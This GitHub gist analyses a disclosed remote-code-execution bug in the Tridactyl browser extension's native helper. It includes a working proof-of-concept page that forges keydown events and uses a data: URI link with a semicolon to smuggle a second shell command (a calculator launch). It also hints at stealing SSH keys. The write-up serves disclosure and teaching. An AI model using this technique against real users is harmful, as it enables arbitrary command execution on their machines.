Skip to content

Instantly share code, notes, and snippets.

@jens1o
Last active April 2, 2021 13:37
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jens1o/962261ef5acbdd19fe779d0113588f59 to your computer and use it in GitHub Desktop.
Save jens1o/962261ef5acbdd19fe779d0113588f59 to your computer and use it in GitHub Desktop.
Get calc.exe with and by Tridactyl - Vulnerability analysis

Watch a video Get calc.exe with and by Tridactyl

The extension Tridactyl

Tridactyl provides a different kind of way how you can browse the web. It's keyboard-bound and kind of related to vim (you can scroll, go to start/end of the page, zoom, search in page with keyboard shortcuts).

A GIF showing some basic functionality of Tridactyl, browsing with keyboard shortcuts, navigating the web.

(Source: https://github.com/tridactyl/tridactyl/blob/37ad6cf4ccadd111e440fca1cb85ce48e8f90693/doc/AMO_screenshots/trishowcase.gif, licensed under the Apache License, Author: Oliver Blanthorn)

It has a command line interface at the bottom of the webpage (as seen in the GIF). You can try it out yourself here: https://github.com/tridactyl/tridactyl/#installing.

How it works

Well, like any browser extension, it has both a background script and a content script. The background script is responsible for generic stuff, yet not really important in this case. So the content script is it, then. The content script is responsible for the whole input stuff. So for example, if you press f, it sees that you pressed that key and then highlights every possible link with another key combination, so you can navigate to any highlighted link (same with scrolling, zoom and stuff).

The native helper

As mentioned earlier, it also has an optional command-line interface in the browser, where you can also execute shell commands (with e.g. :! gnome-calculator). Yep. The native helper (basically a Python script and a TypeScript client) is needed because otherwise Firefox itself - for example - does not allow extensions to spawn new processes. Using this also allows playing videos in your native video player (for example mpv). Many commands can also be executed by simply pressing its shortcut key. You see where we are heading towards? It is also referred to as the native messenger by the developers.

The native helper is not installed by default. Yet, this (obviously) creates a huge source of stuff that can go wrong, but it is wanted by their developers to be that flexible, as the extension itself is targeted at pretty advanced users of a web browser.

Their own vulnerability disclosure

My buddy at Mozilla read this disclosure and the pretty extensive blog post on the same day it went out. He thought that it'd be a pretty cool vulnerability to get me to understand what can happen. And as we previously experimented with reproducing an older Firefox vulnerability, I learned to never trust url encoding if you don't know which type of URI we're talking about.

We think that URL-encoding would prevent an attacker arguments to programs other than mpv, which will receive a URI of some kind, but we are far from certain about this.

(From the GitHub disclosure page.)

The vulnerability

First of all, let's boot up a VM (I took a fresh Ubuntu installation ISO with VirtualBox), clone the GitHub repository and check out at the 1.15.0 tag. (Did you notice all my links to the source code where checking out this tag? This is because it is the latest version which is affected.) Then, build it from source (see the README instructions). When building from source, the native helper is always installed automatically. Then install it in a Firefox installation, where you first allow unsigned add-ons to be installed and then disable auto-updating of them (otherwise you would be testing against a version where this vulnerability no longer works).

But now, let's grab us a bit of URI and JavaScript theory class.

isTrusted Attribute on the Event interface

The Event interface class has a boolean member isTrusted.

By MDN:

The isTrusted read-only property of the Event interface is a Boolean that is true when the event was generated by a user action, and false when the event was created or modified by a script or dispatched via EventTarget.dispatchEvent().

As you might know, JavaScript is able to dispatch new events with some event properties. This is cool, allowing some fancy programming methods. Basically everything is an Event in any kind. You can even define new event types and then listen to them. So, if you press something on the keyboard, you can listen to that keypress using keydown and get some information about which key was pressed. Plain websites can also fire events, like a keydown event.

Data URIs

There are not only sane protocols (like http://, https://, ftpes://), but also special ones, like data: (you see, they don't end with two slashes. This makes it extraordinary as well).

data:text/html,<html><script>alert(1)</script></html>

Copy it into your browser urlbar in a new tab and check what happens!

  1. It defines that the following file data has the mimetype of text/html, like every html page.
  2. After the comma, there is the file data. It is not url encoded. Whereas normally, you would see %3Chtml%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E%3C%2Fhtml%3E. Anything is escaped.

How to fake key events from the content

document.body.dispatchEvent(new KeyboardEvent("keydown", {key: "Shift", keyCode: 16}));

This lets the webpage think that the user pressed the Shift key, if the isTrusted attribute is not checked on the given KeyboardEvent. Thank you, Event Handler system. You can try it out: window.addEventListener('keydown', console.log), and then see what happens if you press a key (while focusing the website content). (These events are bubbled to the bottom up of the DOM, so if you press a key while you focused a button, it will still get caught at the window level if no event listener that is invoked earlier invokes stopPropagation().)

Exploit

So now it is getting interesting. As mentioned, with keyboard shortcuts, we can let a video link be played in a local media viewer (like mpv). What happens if we craft a website, with a "video" link (while keeping in mind what the disclosures said) and find out what happens?

As the first step, we came up with a HTML page that was used to test the two behaviors. The normal, and the uncontrolled. We came up with something like this(reduced for simplicity):

<a href="https://upload.wikimedia.org/wikipedia/commons/a/ae/PRISM_-_Snowden_Interview_-_Laura_Poitras_HQ.webm">Good video</a>
<a href="data:text/html,;gnome-calculator">Bad link</a>

The tutorial of Tridactyl explained that with ;v we could watch videos in our native player, so we did that. The semicolon in the second <a> element is used to quit the input of mpv, so it stayed calm. With the semicolon, you can append a second command to be executed, a fancy calculator in our case.

We needed to select which link we wanted to follow, but when there is only one link on the page, Tridactyl assumes we want this one link.

That worked, and now it is time to automate this.

Little homework for you folks: Think of how you could steal the SSH keys (and use them somewhere else) here. :P

So, what keyboard presses do we need to send for ;v? So, Shift so we can access the semicolon, and then a v. Done!

document.body.dispatchEvent(new KeyboardEvent("keydown", {key: "Shift", keyCode: 16}));
document.body.dispatchEvent(new KeyboardEvent("keydown", {key: ";", keyCode: 188}));
document.body.dispatchEvent(new KeyboardEvent("keydown", {key: "v", keyCode: 86}));

In reality, this took much more time than here, finding this was consuming ~6h and that wasn't always fun.

So, then we came up with this:

<a href="data:text/html,; calc.exe"></a>
<button id="btn">Launch calculator</button>

<script>
document.getElementById('btn').addEventListener('click', e => {
    document.body.dispatchEvent(new KeyboardEvent("keydown", {key: "Shift", keyCode: 16}));
    document.body.dispatchEvent(new KeyboardEvent("keydown", {key: ";", keyCode: 188}));
    document.body.dispatchEvent(new KeyboardEvent("keydown", {key: "v", keyCode: 86}));
});
</script>

Of course you wouldn't need a button press here. :)

Tips/Defences/Future work

The PoC could be extended to a check of the version that is currently running. This might be interesting regarding the restrictions on how to interact with <iframe> elements, maybe some overkill OCR?

Summary

Make sure to check the isTrusted attribute on user events in JavaScript. Furthermore, ensure to keep your software updated. Many disclosures (like in this case) only happen when many users have already done the update. Thank you.

We have shown that the severity of this vulnerability is indeed critical, as it can lead to remote code execution without user interaction.

And it was fun trying it out, where I also learned a lot about how to debug extensions, eventually it was quite easy and learned a lot about Keyboard Events in JavaScript.

Please bear in mind that this is my first publication. I'm thankful for any kind of feedback. As usual, you can contact me via e-mail. mail is my preferred local-part and my postbox is located on jens-hausdorf.de. I’m also quite active on Twitter (@jens1o) and Mastodon: @jens1o@chaos.social

@polyzen
Copy link

polyzen commented Oct 15, 2019

Just to note: you have to read until https://gist.github.com/jens1o/962261ef5acbdd19fe779d0113588f59#their-own-vulnerability-disclosure to see if this is a new vuln.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment